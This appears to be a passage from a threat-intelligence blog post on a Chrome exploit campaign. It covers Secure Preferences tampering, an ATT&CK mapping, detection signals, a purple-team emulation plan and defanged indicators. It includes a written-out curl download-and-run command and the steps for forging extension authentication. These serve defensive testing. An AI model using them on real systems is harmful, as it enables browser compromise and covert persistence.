When Chrome next starts, it looks for the encrypted authenticators, does not find them, falls back to the legacy HMACs, finds them valid (they were forged over exactly the inputs Chrome would have used), and accepts the profile. It then treats the profile as one needing migration and regenerates fresh _encrypted_hash values over the modified state, so the malicious extension ends up authenticated under both schemes.

BEFORE (INTACT) AFTER SUPERSTOMP { "extensions": { "settings": { "<benign>": { ... } } }, "protection": { "macs": { "<pref>": "<legacy HMAC>" }, "super_mac": "<valid>", "_encrypted_hash": "<encrypted>", "super_encrypted_hash": "<encrypted>" } Chrome validates encrypted authenticators first, legacy MACs second, then super_mac globally. { "extensions": { "settings": { "<LONGTALE>": { ... }, "<benign>": { ... } }, "ui.developer_mode": true }, "protection": { "macs": { "<pref>": "<FORGED legacy HMAC>" }, "super_mac": "<RECOMPUTED>" } _encrypted_hash and super_encrypted_hash deleted; Chrome falls back to legacy MACs
The bypass is a deletion, not a break. The newer integrity scheme is skipped by removing the fields it checks; the older scheme is satisfied by forging over the browser's own inputs. The technique landed in a public GitHub repository on 6 August 2026, three weeks before TA412 shipped it, and the pre-existing writeups by Rubrik Zero Labs and Synacktiv describe it in full. What is new here is that a nation-state cluster took a public technique, wired it into a browser exploit chain, and used it as the entire post-exploitation strategy against high-value targets.

Blocklisting the single extension ID ckiknalbeplpcpofpnabcnhjcegckfei is a fragile control on its own. For an unpacked extension, Chrome derives the ID from a public-key hash: if the manifest contains an explicit key field the ID is stable no matter where the folder lives, but if the manifest omits key the ID is derived from the extension's absolute path, and moving the folder moves the ID. A LONGTALE build without a hard key is one C:\Users\Public\stomp_ext2 away from a fresh ID.

The durable controls are policy-based: an allowlist posture via ExtensionInstallAllowlist / ExtensionSettings with installation_mode: blocked as the default, plus a blocked_permissions list that at minimum denies cookies + scripting + alarms outside a signed allowlist. Combined with ExtensionDeveloperModeSettings disabled for standard users, the SUPERSTOMP path fails at the point Chrome loads the tampered profile: the extension is present in the JSON but the policy layer refuses to enable it. That claim is the one worth testing on your own build (see the emulation section) before publishing it as a control.

Mapping it to MITRE ATT&CK

Mapped against the current enterprise matrix. One note to avoid a common mistake: exploiting a browser bug on a lure page is T1203 (Exploitation for Client Execution), and kernel EoP is T1068. Neither is a sub-technique of the other. The reflected XSS on the university site is best captured as T1189 (Drive-by Compromise) with T1608.005 (Stage Capabilities: Link Target) for the poisoned redirector, since the operator is staging their own link inside somebody else's content.

StageTechniqueATT&CK ID
Spear-phishing with a linkPhishing: Spearphishing LinkT1566.002
Reflected XSS on a legitimate site to launder the redirectDrive-by Compromise; Stage Capabilities: Link TargetT1189; T1608.005
Cloudflare Workers and Tunnels as delivery/C2Acquire Infrastructure: Serverless; Web ServiceT1583.007; T1102
Lookalike vendor and delivery domainsAcquire Infrastructure: DomainsT1583.001
User clicks the linkUser Execution: Malicious LinkT1204.001
V8 type confusion + WASM sandbox escape in the rendererExploitation for Client ExecutionT1203
UA/OS gating in react.min.js; build check inside p2Execution GuardrailsT1480
ALPC kernel LPE to escape the renderer sandboxExploitation for Privilege EscalationT1068
CreateProcessA shellcode stub injected into the Chrome browser processProcess InjectionT1055
Reflectively loaded p1 and p2 DLLsReflective Code LoadingT1620
curl from the browser process to fetch the PEIngress Tool TransferT1105
DLL sideloading pairs (UTA0560, UNK_LateNight, UNK_DoubleCheck, UNK_QuietRacket)Hijack Execution Flow: DLLT1574.001
MSI custom action executes JScript in-processSystem Binary Proxy Execution: Msiexec; JavaScriptT1218.007; T1059.007
Scheduled Task persistence (Windows Scheduled System, EdgeCore_AutoUpdate, GeForceService)Scheduled Task/Job; Masquerade Task or ServiceT1053.005; T1036.004
CLSID InprocServer32 write (UNK_DoubleCheck)Event Triggered Execution: Component Object Model HijackingT1546.015
SUPERSTOMP tampers Secure Preferences to authenticate LONGTALESoftware Extensions: Browser ExtensionsT1176.001
Host / process / security-software discovery inside p1System / Process / Security Software DiscoveryT1082; T1057; T1518.001
LONGTALE keylogging, clipboard capture, keyword screenshotInput Capture: Keylogging; Clipboard Data; Screen CaptureT1056.001; T1115; T1113
LONGTALE cookie and web-session-token theftSteal Web Session Cookie; Browser Session HijackingT1539; T1185
Bulk exfil to Cloudflare Worker C2Exfiltration Over C2 Channel; Web ProtocolsT1041; T1071.001
Google DoH TXT lookups to resolve the next-stage C2 URL (UNK_QuietRacket)Web Service: Dead Drop Resolver; Application Layer Protocol: DNST1102.001; T1071.004

Where the detection windows are

This chain leaves more signal than the Lazarus-style rootkit chains we have covered before. There is no FudModule at the end of BlueMoon: the attacker owns the browser process, but not the kernel notification callbacks, the ETW providers, or the filesystem minifilters. The defender's problem is therefore different: the signal is there, and whether it clears your noise floor is what varies.

RankSignalSensor
1A Chromium browser process (chrome.exe, msedge.exe, brave.exe, vivaldi.exe) launching a child that writes a fresh executable or DLL into a user-writable path (%TEMP%, %APPDATA%, %LOCALAPPDATA%, C:\ProgramData\, C:\Users\Public\) and then runs it. The default kit does this via cmd.exe /c curl; two clusters changed the target directory or dropped the curl command line entirely, so anchor on the browser-process parent plus the write-then-execute, not on curl or on %TEMP% alone. The process tree by itself is noisy because Chromium browsers spawn cmd.exe /c for native messaging hosts.EDR / Sysmon 1 + 11
2Non-chrome.exe writes to Secure Preferences; deletion of _encrypted_hash / super_encrypted_hash, or an extension added with no update_url.Sysmon 11 / audit
3Renderer→browser-process injection: OpenProcess (full access) + CreateRemoteThread into the browser process, and a renderer token that suddenly holds SeDebugPrivilege.Sysmon 8/10, token telemetry
4Scheduled tasks with known names, or a 5-minute cadence from a user-writable path (Windows Scheduled System, EdgeCore_AutoUpdate, GeForceService, MicrosoftEdgeUpdatesTaskMachine, Avpcheckup).Security 4698 / TaskScheduler 106
5msiexec.exe with outbound HTTPS to a new domain (POST, tab-delimited body), especially *.cfargotunnel.com / *.workers.dev. GRIMWEDGE's whole channel.Netflow / proxy
6Chrome extension inventory drift: any extension with cookies + alarms + scripting installed outside the allowlist.Chrome Enterprise
7Forensic pivot, not live detection. The mutex Dataupcheckinfo in a memory image, or the sessionStorage key v8ctf_exp_attempt visible in a browser crash-dump: both are strong artefacts for confirming exposure after the fact, but almost no SOC monitors sessionStorage in flight, and the key does not survive tab close.DFIR memory analysis

The strongest signal is trivial to alert on: a browser process spawning a child that downloads a PE and runs it is something every EDR and every Sysmon deployment already sees. The next tier (rank 3) is the part earlier reporting tends to write off as "invisible": it is not invisible, it is just under-instrumented. A low-integrity renderer opening the broker process for full access and starting a remote thread in it is a strong behavioural signal if your sensor exposes ProcessAccess and CreateRemoteThread with granted-access masks. And a file-integrity signal on Secure Preferences (rank 2) is cheap and almost nobody runs it today. Those two are the gaps worth closing before the technique proliferates.

Concrete rules, matched to the sensor most SOCs already have:

Proofpoint publishes Suricata/Emerging Threats rules for the loader and beacon traffic (20719192071924). Volexity publishes a public YARA set covering LONGTALE, SUPERSTOMP, the GRIMWEDGE loader chain, the recon and LPE DLLs, and the V8 renderer exploit page. Import both verbatim rather than paraphrasing.

How to emulate this kill chain

An advisory tells you what happened somewhere else. Emulation tells you what your own environment would say. The question this campaign asks a purple team is narrow: of BlueMoon's observable behaviours, which ones alert in my SOC today, and how fast?

Run it in order. The value is in finding the earliest step your telemetry catches, because everything after that step is post-compromise firefighting. Do not weaponise the CVEs: the exploit primitives are not the point of the exercise, and every step below is designed to be reproduced with benign stand-ins.

  1. Delivery and gating. Land a benign HTML lure that redirects through a reflected XSS on a test domain into an iframe, and serve a UA-gated script that only logs whether the browser matches. Exercises T1189, T1608.005, T1566.002, T1480, and answers whether your web proxy sees a redirect from a legitimate host to a newly registered destination.
  2. Loud process tree, in three shapes. From a benign process with a signed-but-unusual parent, run cmd.exe /c curl -f -sS -o "%TEMP%\benign_marker.exe" <url> && "%TEMP%\benign_marker.exe". Then repeat writing the marker to %APPDATA%\Microsoft\Windows\ and to C:\ProgramData\, to confirm the widened path list from the detection table fires. Finally, run a curl-free variant where the parent directly writes and launches the marker, matching UNK_QuietRacket's modified pp. If your EDR does not alert on all three, nothing later in the chain will save you.
  3. Renderer-style injection (optional, lab only). Reproduce the shape (a low-privilege process opening a higher-privilege one for full access and starting a remote thread) with a benign payload, to check whether rank-3 signals fire. Skip this if you cannot do it safely.
  4. Secure Preferences tamper, twice. Adapt a public forgery script to add a harmless test extension: delete the _encrypted_hash fields, forge legacy MACs, recompute super_mac. Run it once against a default managed-browser build and verify (a) the file write raises a signal from an unexpected process, (b) the inventory drift reaches your policy service, and (c) Chrome accepts the profile silently. Then repeat with ExtensionSettings set to installation_mode: blocked and ExtensionDeveloperModeSettings disabled, and confirm the extension does not load. That second run is what turns "installation_mode: blocked stops SUPERSTOMP" from an assertion into a claim you have evidence for.
  5. Persistence. Create the observed scheduled tasks by name against a benign binary. Verify the named tasks fire the same audit rules as generic task creation, and that any five-minute-cadence task from a user-writable path is caught even when the name is unknown.
  6. Web-service C2. Register a domain, front it with a Cloudflare Worker, and beacon from msiexec.exe and from a Chrome extension. Note which your netflow finds and which your egress proxy misses. The two channels are structurally different: the first is a process-attribution problem, the second an extension-inventory problem.

Read the result per technique, not per campaign. A single pass/fail for "BlueMoon" is useless; what you want is a verdict for each step above, rolled up by tactic, with the specific events that prove it.

A note on scope: emulation does not tell you whether your hosts were vulnerable to the ALPC bug, or whether Chrome auto-update reached every user before the exploit did. Those are patch-state and inventory questions, answered by Windows update-compliance reports and Chrome policy telemetry, not by a red-team run.

All of the above is a manual exercise: six phases, roughly twenty techniques, correlated by hand against whichever SIEM holds the logs. Most of the TTPs needed to emulate this kill chain (the delivery and gating stage, the process-tree and injection shapes, the Secure Preferences tamper, the persistence tasks and the web-service C2 channels) are catalogued in the framework, with the destructive exploit stages gated rather than executed. None of it is a prerequisite for the guidance above, all of which you can run by hand today.

What actually reduces exposure

Two of the three vulnerabilities in BlueMoon were fixed in the public upstream source of the browser before the campaigns ran, one of them (the V8 sort/fill bug) demonstrably twenty-seven days before Chrome stable shipped it. Your patch cadence is not designed for that. Design for it now, and stop treating "reported by a private researcher" as reassurance.

Indicators and sources

The two reports publish overlapping but non-identical indicator sets. Volexity's set is organised around the two clusters it tracked (UTA0560 and JungleBamboo) with full file hashes for the shared exploit stages; Proofpoint's is organised per cluster across all four it names. Import both indicator files at source rather than transcribing from here; the consolidated sample below is provided for orientation, not as a substitute. Treat every hostname and hash as a starting point for retro-hunting, not a blocklist to set and forget, because the delivery infrastructure was rotated per campaign.

Shared exploit stages (both vendors)

ArtefactTypeSHA256 / value
page.html (V8 exploit)HTML7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c
p1 recon DLLWin64 DLLb7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1
p2 LPE DLLWin64 DLL51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc
sessionStorage retry keyHost artefactv8ctf_exp_attempt

Per-cluster payloads and infrastructure

ClusterIndicatorTypeRole
TA412 / JungleBamboosecboxes[.]com, msbenefit[.]com, gitprogram[.]com, attcdn[.]comDomainDelivery / download / exploit hosting
TA412 / JungleBamboockiknalbeplpcpofpnabcnhjcegckfeiExtension IDLONGTALE / GemStone
TA412 / JungleBambooextension-management-portal.centerfjdr658.workers[.]dev, extension-management-portal.kmjukilo-lkjh.workers[.]dev (Proofpoint); karlmalexander.workers[.]dev (Volexity)HostnameLONGTALE / GemStone C2. The two vendors list different Worker subdomains for the same extension C2; treat the *.workers.dev extension-management pattern as the durable indicator, not any single hostname.
UTA0560cloud.shinewrist[.]net, ocr[.]opusaccel[.]top, 206[.]166[.]251[.]164Domain / IPExploit hosting, GRIMWEDGE C2, shared host
UTA0560ircribbin77[@]hotmail[.]comEmailPhishing sender (also March 2026)
UNK_LateNightms.checrity[.]com, 79.133.56[.]90Hostname / IPShadowPad C2, fallback C2
UNK_LateNightairproducts[.]ink, precipart[.]ink, rocketlabusa[.]ink, spectrolab[.]fitDomainDelivery (aerospace spoof)
UNK_DoubleCheckbrianwilli[.]com, 1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com, fracons[.]comDomain / hostnameDownload, R2 stage-2, C2
UNK_DoubleCheckDataupcheckinfoMutexSingle-instance marker
UNK_DoubleCheckHKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32RegistryCOM-hijack persistence
UNK_QuietRacketjoinmacket[.]com, openlumakora[.]comDomainDelivery (attacker-registered)
UNK_QuietRacketdns.elixnovorem[.]com, dns.getaiexo[.]comHostnameDoH TXT dead-drop resolver

Primary sources. The two reports this post is built on are Volexity's "Mind the (Patch) Gap" and Proofpoint's "Once in a BlueMoon", both published 9 September 2026 and both crediting collaboration with Google's Threat Intelligence Group and Microsoft. Volexity's machine-readable indicators are in its threat-intel repository; Proofpoint's ET rule IDs are 20719192071924. The V8 root cause is documented in the reporter's own sort/fill writeup, and the Secure Preferences forgery technique in the Rubrik Zero Labs and Synacktiv writeups. Where this post could not independently verify a detail (the exact Chromium commit for CVE-2026-87491, the CVSS scores, the KEV listing date for the WebAssembly bug, and the specific KB article numbers), it says so in the relevant section and defers to the vendors.

Related reading. For TA412's earlier tradecraft, see our writeup on Judgment Panda's abuse of Dropbox as a C2 channel. For the framework behind the emulation plan, see the framework, and for our other threat-intel work see the threat-intel index.